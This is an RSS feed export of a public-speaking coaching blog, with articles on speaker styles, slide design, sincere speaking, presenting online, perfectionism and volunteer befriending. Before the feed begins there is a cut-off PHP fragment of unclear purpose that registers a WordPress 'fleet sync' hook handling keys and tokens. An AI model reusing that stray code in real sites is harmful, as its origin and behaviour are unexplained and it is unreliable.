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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Connection Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/connection/ Public speaking Sun, 20 Aug 2023 11:50:57 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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]]>

‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Can you be trusted? The skilful art of sincere speaking https://www.nowyouretalking.co.uk/2020/09/21/can-you-be-trusted-the-skilful-art-of-sincere-speaking/ Mon, 21 Sep 2020 13:59:38 +0000 https://www.nowyouretalking.co.uk/?p=1297 Across the globe, we trust scientists, doctors and teachers.  Over half of us consider these professions to be trustworthy (Ipsos Global Advisor). Business leaders don’t fare so well, with just one in five being described as trustworthy. Perhaps not unexpectedly,…

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]]> Across the globe, we trust scientists, doctors and teachers.  Over half of us consider these professions to be trustworthy (Ipsos Global Advisor). Business leaders don’t fare so well, with just one in five being described as trustworthy. Perhaps not unexpectedly, politicians are at the bottom of the heap with a mere one in ten of us placing our trust in them! Sincere speaking is integral to building trust.

What is it about scientists, doctors and teachers that makes us trust them? We tend to associate them with putting us above their own self-interest, caring about what happens to us. They have integrity, seemingly share our values and we tend to consider them competent and reliable. When they speak to us, we sense their sincerity and credibility. That trust matters because it creates a connection, a willingness to listen and engage and, ultimately, to do business.

To become business owners that people trust, sincere speaking and presenting are our golden opportunity to develop trust among potential clients, employees and other stakeholders. Whether on Zoom or in person in the room, you need to demonstrate your trustworthiness across the three communication essentials of Connection, a message that drives Change and Confidence.

Connection

Trustworthy connections happen when you demonstrate you’re likable, as well as competent, reliable and engaging. The more you know about your audience, the stronger your ability to connect sincerely with them and influence their thinking and behaviour on their terms.

Consider for a moment pitching for new business. You don’t just focus on the product or service you’re offering, but also what the working relationship will be like. You’re selling trust that you can deliver, but also an experience the client will enjoy.

Likeability and shared values

If audiences don’t like us, they won’t connect with us or what we have to say. So our first job, when we are in front of an audience, is to give them things to like. This means we need to make people feel good about us. Think about how you connect with people socially. You probably smile, make good eye contact, talk in a friendly and interested conversational style, etc.

This works when you’re being yourself, openly and sincerely, with nothing to hide, sharing personal stories and vulnerabilities. By showing people who you are, your beliefs and values, they can relate to you as a fellow human being and begin to trust you.

As far as possible, choose to talk about subjects that you care about, your ‘why’. Granted, this may not always be possible. In such situations, try to find angles that are important to you and matter to your listeners. When you talk about something you care about, sincere speaking and enthusiasm for your subject shine through. Assuming you’ve taken care to choose a topic that’s relevant to your audience, they will connect and engage with you.

It’s no coincidence that judges on reality TV shows talk about a contestant being relatable. This happens when someone comes across as a potential friend. They can feel the person’s vulnerability and humanity.

Part of this process involves using language and gestures that are aligned with your listeners’. In addition, the word ‘you’ in the English language feels personal and caring. It gives the sense that you’re having a one-to-one conversation with each person in your audience.

In business, we don’t just trade products and services, but also the experience of working together. We need to convey the quality of that experience, so presenting ourselves as likeable is key.

Competence and reliability

However, likeability alone is not enough. When Mr Bean travels to America with the responsibility of bringing a highly valuable painting to a Los Angeles museum, he is likeable, but far from competent or reliable. What you say also needs to be well researched and accurate as evidence of your competence and reliability. Testimonials and recommendations can also help here.

A combination of evidenced information, illustrated with relevant and relatable stories and anecdotes connects, engages and stands out.

Storytelling connects us as human beings. Opening a presentation with a well-crafted and relevant personal story will captivate an audience. And because it’s personal, it’s authentic and uniquely yours to tell. Stories are not only relatable, but they are also memorable and far more so than facts and figures. So, judiciously used stories and anecdotes that are relevant and presented in the appropriate speaking style for your audience are invaluable in connecting with your audience and making a positive impact.

Your delivery is perhaps even more important in demonstrating competence and reliability as a business leader, supplier or employer. Congruence is paramount in transmitting sincerity and trustworthiness because your body doesn’t lie. If your words don’t match your facial expressions or hand gestures, audiences will believe what they see over what they hear.

Try to use gestures and expressions that feel natural and reinforce your words and meaning. Be aware of your body language in everyday conversation and bring that authenticity to your speeches and presentations. Scale up or down for the size of your audience and the platform (dial it up for a large conference style, down for a smaller video meeting).

A sincere message that drives change

We’re seeing increasing numbers of articles about Zoom fatigue and Teams tedium. As business owners, we have a responsibility to make sure we’re not adding to this groundswell of disappointing meetings and events that seem to lack purpose and relevance.

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what is relevant and a message they’ll value.

However, not any message will do. It needs to be something you also care about, so that your sincere speaking shines through, authentically.

The acid test is to swap places with your audience and answer the question “What do I get out of listening to this talk/presentation?” What’s in it for me? A key element of building trust in the way of a teacher or doctor is that they’re doing it for us. There’s no sense of self-interest in the way that we might suspect in a politician. It matters, personally.

To avoid self-interest and ensure we focus on the needs of our listeners we must start by thinking about our message and its value to them. When preparing a speech, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message, doesn’t belong in this particular talk or presentation.

Confident and sincere speaking

Confidence matters because it is part of your authority and credibility as a businessperson and as a speaker . It’s what Aristotle refers to as your ‘ethos’.

If you don’t feel confident in what you have to say, then why should your audience? When audiences sense you’re nervous, they may be more concerned about your wellbeing or even whether you have something to hide.

Authenticity is key here. We shouldn’t assume being confident means being extrovert, but it is about being yourself. People often say to me that they can’t be a good speaker because they are introverts and feel uncomfortable trying to show up as some high-energy, gregarious, perhaps larger-than-life version of themselves. Maintaining this persona is untenable and exhausting. It’s also unnecessary.

Public speaking isn’t about being a ‘big’ presence. When you’re yourself and talking about something that matters to you and your audience, people will listen. Quiet confidence is still confidence. People like Bill Gates, JK Rowling and Mahatma Gandhi are all testimony to how introverts can be great speakers. They understand that speaking is about connecting sincerely with their audience and sharing their ‘why’ to benefit others.

Sincere body language and voice are fundamental in communicating confidence and delivering trust:

  • A sincere smile engenders both likeability and trust.
  • Steady and assured eye contact helps people feel comfortable and willing to engage.
  • An open stance and posture show that you have nothing to hide. They send a signal to the audience that you are confident and open.
  • Your voice is part of who you are. Your accent is part of your identity. Authenticity is not about trying to hide or change your voice. Be proud of your voice and learn how to project it effectively to bring ease of understanding and interest to your listeners.

Sincere speaking styles

Sincerity is at the heart of skilful speeches, talks and presentations. It enables you to deliver a meaningful and memorable message to your audiences. It engenders trust in all aspects of your business and among all your stakeholders.

Of course, different audiences and speaking situations may well require different speaking styles. For instance, if you’re talking to a technical audience, they tend to favour visual aids and ‘data’ to support your message. That’s not to say that they don’t appreciate a story or anecdote, but they also value an evidence-based focus.

If your intention is to inspire, you probably need to share your personal story and reveal your vulnerabilities. Then  your audience can adopt your experience and learnings into their own lives. In these situations, slides can be an obstacle and undermine the emotional connection of your story.

During a new business pitch, you obviously need to demonstrate your competence for the proposed project, but also what it will be like to work with you. It is after all often the nature of the working relationship that differentiates one business offer from another.

Whatever style you deem appropriate to connect with, and delight, your audience, remaining ‘true to you’ is crucial. If you try to conceal the real you behind some persona, your audience will know and wonder what you’re hiding.

A final thought…

Trust is, arguably, your most important business asset. Without it, you’ll struggle to develop long-term and lucrative client relationships, have an enviable record in staff retention and be a go-to spokesperson for your other stakeholders. Sincere speaking will help you stand out as a trustworthy business leader and continuously build business success.

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]]> Speaking online is here to stay https://www.nowyouretalking.co.uk/2020/09/09/speaking-online-is-here-to-stay/ Wed, 09 Sep 2020 08:11:43 +0000 https://www.nowyouretalking.co.uk/?p=1266 Picture this… A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two…

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]]> Picture this…
A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two Zoom meetings. The audience in the first. Speakers, session chairs, tech teams and other officials in the second. And then there were breakout rooms for workshops and briefings. Even though it was a UK event, speakers were streamed in from around the world, no expense spared! When the event went live, the Zoom meeting with multiple rooms, speakers, etc was broadcast into the audience Zoom meeting. And all without a hitch! Speaking online  is here to stay.

The future may be ‘hybrid’, but expectations of how we speak and present online will continue to rise; expectations of speakers to be engaging, relevant and memorable if we want to stay visible, have clients and employees who enjoy working with us, and thrive in our businesses. We need to make time to shine online with the three communication essentials of Confidence, Connection and a message that drives Change.

Confident speaking online 

Confidence is vital online to help your listeners feel they’re in safe hands and can relax and concentrate on what you have to say. If you come across as unduly nervous, people will worry about your wellbeing and may even tune out. To hold their attention, you need to bring confident energy to the screen.

You’re on the small screen

Being online is like having a close up and every member of your audience has a front-row seat. You’re on the small screen and the camera and mic will pick up every detail, expression, gesture and sound. What can your audience see and hear and is it what you want them to see and hear?

Are you looking your best? Ensure your main light source is behind the camera so that you’re neither plunged into shadow nor dazzled by sunlight, making you squint or obliterating your eyes if you wear glasses. Capture a screenshot before you go live and know you look the part. Wearing block colours also make you look strong and professional.

Check your tech

Relying on technology can feel like working with children and animals. With all the checks in the world, things can still go wrong. If they do, keep calm, explain what’s happening and fix the problem. Even better, invite a participant to take care of the tech for you.

In addition, make sure your internet connection is as strong as it can be to minimise buffering.

Share confident energy

Think of all the non-verbal ways you can bring confident energy to the screen. For instance:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, on the small screen, fidgeting distracts and big gestures that work in a large venue will overwhelm or fall out of view
  • Set the camera at just above eye level and look directly into the lens (not at the faces on your monitor) for open and sincere eye contact, while keeping any double chins at bay!
  • Breathe into the abdomen and relax your upper body so that your vocal tone is rich and strong and you mic doesn’t pick up any sign of nerves in your voice.

Connection when speaking online

Picture people queueing up to talk to you after you’ve given a talk, or piling questions into the chat. They’re there because you’ve connected with them, both in terms of the value you’ve given and the way you’ve made them feel. And online, it’s even more vital. If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

What’s In It For Me?

Whether you’re pitching for work, inspiring your team, hosting a meeting or giving a conference paper, it’s your responsibility to know what your listeners are expecting from you and answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that you are relevant and on the pulse, and they have a reason to carry on listening. This means deep researching your audience so that you understand who they are, what they already know and what makes them tick.

Use inclusive language

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power implies a one-to-one conversation in the singular and, in the plural, includes everyone, creating both a strong feeling of inclusivity and a personal connection. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Barack Obama understood the power of ‘you’ and ‘we’. In his 2012 presidential election victory speech, he used the personal pronoun ‘I’ 36 times, ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

Stories trump PowerPoints

Human beings are hard wired to connect through storytelling and it comes into its own online. It makes us relatable, likable, engaging and memorable. And all the more so when we tell a relevant personal story, openly and honestly:

In her book  Lyn Roseaman observes:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman, ‘Now You’re Talking!’

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to your listeners tuning out. Prioritise relevant storytelling at every opportunity to avoid online fatigue and tedium.

Your message to drive Change

John F Kennedy said “The only reason to give a speech is to change the world.”

Speaking online – meetings, events, conversations – is your opportunity to remain visible, develop fresh ideas and deliver energy and momentum to online experiences.

Message for the moment

Meetings can sometimes lose sight of a clear purpose and message. Starting at the end of your presentation or meeting with how you want people to think, feel or act after they’ve listened to what you have to say will help you stay relevant, show you’re in touch and on point. Identify a message that is new and on point and then incorporate only content that supports it. Make it memorable and end with a call to action that justifies people’s attendance and put plans in place to follow up.

Make life easy when you’re speaking online

Our attention spans are short at the best of times and seemingly even shorter online, so it’s crucial to get to the point and stay relevant. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners along the way. Less is most definitely more online.

Structure and signpost your talk so that it is easy to follow. Choose a clear structure. Break up your presentation into small ‘chunks’ of some five minutes each, and top and tail each chunk with what you plan to cover and a keyword to sum it up as you move on to the next chunk. Signpost what you have to say to let your audience know the ‘road map’ for your talk so it’s clear and easy to follow.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Interact at every opportunity

In Zoom and Teams, you can create breakouts. Dividing your audience into smaller groups and sending them to separate ‘rooms’ where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas.

Aiming to make some 70% of the time interactive will make your meetings, talks and presentations more dynamic, relevant and memorable. To help things run smoothly, set ground rules online for listening to each other and not all talking at the same time!

Conclusion

Speaking online convincingly is here to stay. Prepare to go hybrid for the benefit of you and your business. In future we’ll need to shine online AND in physical locations, with our real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article appeared in ESOMAR’s Research World as ‘Make some time to shine online’ and HR Director as ‘How to give your best performance in your next online presentation’

 

 

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]]> Speak up and make an impact https://www.nowyouretalking.co.uk/2020/05/17/speak-up-essentials-of-a-good-speech/ Sun, 17 May 2020 16:47:46 +0000 https://www.nowyouretalking.co.uk/?p=1051 “There are three essentials of a good speech or presentation – making a connection, having a message that drives change and delivering with confidence.” Now more than ever, being able to speak and present with impact is a fundamental life…

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]]> “There are three essentials of a good speech or presentation
– making a connection, having a message that drives change
and delivering with confidence.”

Now more than ever, being able to speak and present with impact is a fundamental life skill. It’s high on employers’ wish lists; you need it for meetings, networking, pitches and presentations, conference talks and keynotes. Speaking benefits far outweigh the costs, yet many of us turn down speaking opportunities rather than face the challenge and harness the three essentials of a good speech or presentation.

Why speaking is a good idea

Even before the advent of social media, speaking at conferences was part of my strategy for developing the Leisure, Travel and Tourism business area at MORI. And it worked, communicating expertise to large numbers of potential clients in the UK and overseas. The resulting papers provided impactful PR material and raised my personal and research credentials as a go-to sector specialist.

It’s no coincidence that the research industry now has, for example, AQR Young Disruptors, MRS &more and new speaker track at IIeX.

New research among speakers in ‘Now You’re Talking! Take your speeches, talks and presentations to a wider audience and a bigger stage’ sheds light on how we lose out when we shy away from speaking, and the opportunities it can bring to us as individuals, to our businesses and in terms of our collective research knowledge.

First, speaking at events raises your personal profile, especially on social media, showcases who you are and your ideas. It helps build your confidence, influence and reputation which, in turn, attracts opportunities and helps your career.

Second, speaking is also good for your organisation’s credibility and presence, and can bring new business derived from your authority as a speaker of value. Connecting with people who have listened to your conference talk is a less intimidating and warmer approach to new business relationships than a commercial pitch or networking.

Third, speaking strengthens our collective thinking and knowledge. Nowadays, we all have a voice and a channel for sharing our thoughts and opinions, though very little is new and often poorly curated. As speakers, we have a responsibility to deliver quality material of value to an audience that also drives forward ideas and thinking.

Being a good speaker is a real asset. But what makes a good speech and how can you build your own personal toolkit for giving one? The Now You’re Talking Speaker Survey reveals three essentials of a good speech – Connection, a message that drives Change and Confidence – the 3Cs.

Connection

If you can’t connect with your audience, you might as well be talking to yourself. Connection is not only about being likable – the smile, good eye contact, friendly conversational style, etc – but also about being relevant. And, with today’s notoriously short attention spans, you need to gain your audience’s attention and interest fast.

Picture yourself sitting in an audience. You’ve set aside the time, maybe even spent money to be there. You’re wondering ‘What’s in it for me?’ As a speaker, it’s your job to answer that question. To do that, you need to ‘deep research’ your audience. It’s not just about their name and job title. Depending on whether you’re talking to a larger, conference-style audience or debriefing a project team, key questions might cover the goals of the event, other speakers, audience profile, what they do/know/expect/how they talk and what do they most want from you.

The more you know about your audience, the stronger your ability to connect with them and influence their thinking and behaviour on their terms, ie answer their ‘What’s in it for me’ question.

And it’s not just about the content of your speech. Knowing your audience will also give you strong pointers about delivery – whether or not you need slides and how many, relevant stories, appropriate levels of energy, vocal variety, body language and so on.

A message that drives Change

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what they’ll value.

All too often we confuse audiences because we grab our data and start making slides without even thinking about our message and its value to our listeners.

Instead, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message doesn’t belong in this particular talk or presentation.

Confidence

“Confident speakers are frequent speakers,
so take every opportunity to speak up”

Confidence is one of the three essentials because it is part of your authority and credibility as a speaker. If you don’t feel confident in what you have to say, then why should your audience? When audiences sense your fear, they will often be more concerned about your wellbeing than about what you’re saying. Confidence allows your listeners to relax and engage with what you have to say; your message, not how you’re feeling.

Confident speakers are frequent speakers, so take every opportunity to speak up, be it to a small group of colleagues, in a meeting, on the phone, in a pitch or presentation. Get comfortable with speaking and use the opportunity to practise different techniques, eg voice projection, storytelling, opening a speech with impact, etc. Invite people to give you specific feedback on what they liked and any improvements they would welcome.

Building your speaker’s treasure trove

Your biggest ally as a speaker is you – your authentic self, your personal stories and experiences, your ideas, your style of speaking, your gestures and facial expressions. They are all uniquely yours and can help you express your vision in a way that is fresh and stands out. Here are some tips for building your treasure trove of ideas and techniques:

  • Keep a special place where you capture your ideas for speeches – phone, electronic notes, recorder, etc. The important thing is to capture the thought, because otherwise it will get lost in the busyness of your day.
  • Keep abreast of reliable sources of ideas, including Blinkist, quality publications, industry journals, TED Talks, etc. These may also give you some useful statistics or quotes for an attention-grabbing opening to a speech or talk.
  • Be aware of how you normally speak. Your tone of voice, speaking speed, volume will change to reflect different words and emotions. These will form the basis of your vocal styling in front of an audience.
  • Similarly, be mindful of your natural facial expressions, hand gestures and posture. They speak the truth. In the case where your non-verbal language and your words are incongruent, it’s the non-verbal communication people will believe.
  • Take note of the things you say that make people laugh. For most of us, this gentle, personal and often self-deprecating humour is far more powerful than stand-up-style jokes.
  • Practise different aspects of speaking at every opportunity.

Whether you’re an experienced researcher or at the beginning of your career, public speaking is a very good idea for you, your business and the industry’s collective knowledge. Embrace the three essentials of a good speech and finesse how you take your ideas to a bigger stage.

Originally published in MRS Impact Issue 29 April 2020

 

 

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]]> Perfectionism – the curse of speakers https://www.nowyouretalking.co.uk/2019/03/18/perfectionism-the-curse-of-speakers/ Mon, 18 Mar 2019 11:49:56 +0000 https://www.nowyouretalking.co.uk/?p=849 Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise. What kind of perfectionism plagues you? What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and…

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]]> Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise.

What kind of perfectionism plagues you?

What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and demand, excessively high standards of yourself and others? Or failure-avoiding perfectionism that drives fear of losing people’s respect if you achieve anything less than perfection?

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

According to Prof Steve Peters’ The Silent Guides, the Human (rational thinking part of the brain) sees perfectionism as ‘doing the best I can’. The Human aims for perfection, but accepts that we don’t often get perfection and can be proud of having tried our best.

In contrast, the Chimp (part of the brain that makes snap judgments based on emotions and gut instinct) demands that we achieve perfection and drives the sense of failure if we deliver anything less.

Connection not perfection

As speakers and presenters, perfectionism gets in the way. Seeking excellence can leave us fixating on, for instance, getting our words right or memorising our speech, while missing the opportunity to connect with our audience.

Failure avoidance can find us paralysed with fear of making a mistake. Again, at the cost of connection.

Any speaker ‘shortcomings’ should always take a back seat to connecting with, and moving, our audience so that we impact how they think, feel and act after experiencing our speech.

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

To allow the possibility of connection overriding perfection, we need both our Chimp and our Human. Together, they can work to motivate us to do our best (Chimp) and subsequently accept that trying our best is good enough (Human).

 

 

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]]> Give yourself a relationship-building challenge https://www.nowyouretalking.co.uk/2018/08/02/give-yourself-a-relationship-building-challenge/ Thu, 02 Aug 2018 14:47:35 +0000 https://www.nowyouretalking.co.uk/?p=325 When you’ve been in a job for a while, working with the same or similar clients, it can be easy to get into a rut.  Why not give yourself a shake, take on a challenge and do a good deed…

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]]> When you’ve been in a job for a while, working with the same or similar clients, it can be easy to get into a rut.  Why not give yourself a shake, take on a challenge and do a good deed all at the same time?

As we all know, a successful sales career depends on our ability to build relationships.  When we feel ourselves getting stale, it’s time to introduce a change.  One way is to try building a new relationship in a different environment.

The relationship-building challenge I took

Hands

My challenge was called George. He was 86. He hadn’t been out for years. He had no friends or family.  Sitting alone in his flat, he had no reason to care about his appearance. It was daunting to sit in front of him. “Hello I’m Lyn. I’m coming to visit you every week. I love travelling. I adore taking photographs. I walk a dog in the park every Saturday. What do you like to do?”

It was a slow start, but after a while we found we had a number of things in common. Films we’d seen, music we liked, places we knew. And then there was the moment I realised it was all worthwhile. I arrived for my weekly visit to find George visibly transformed. Clean shaven, hair neat, relaxed and smiling. From then on, our relationship blossomed. I helped him engage with the outside world. He gave me the benefit of his decades of experience and wisdom. Being in his small, enclosed flat expanded my horizons.

Imagine …

Picture yourself in that situation. How would you feel? What is it like knowing you can build a relationship like this?And give someone support and something to look forward to? Isn’t it heart-warming?

Would you like to take on this type of challenge?

According to Age UK more than two million people in England over the age of 75 live alone. More than a million older people say they go for over a month without speaking to a friend, neighbour or family member. A real problem throughout the UK. Imagine how you would feel if all you had for company was the TV.

Take up the relationship-building challenge

Why not give yourself a relationship-building workout? You can contact Age UK and join their befriending scheme.

Local councils, and other charities also run similar programmes and many Care Homes welcome volunteers (subject to DBS, etc checking, of course).

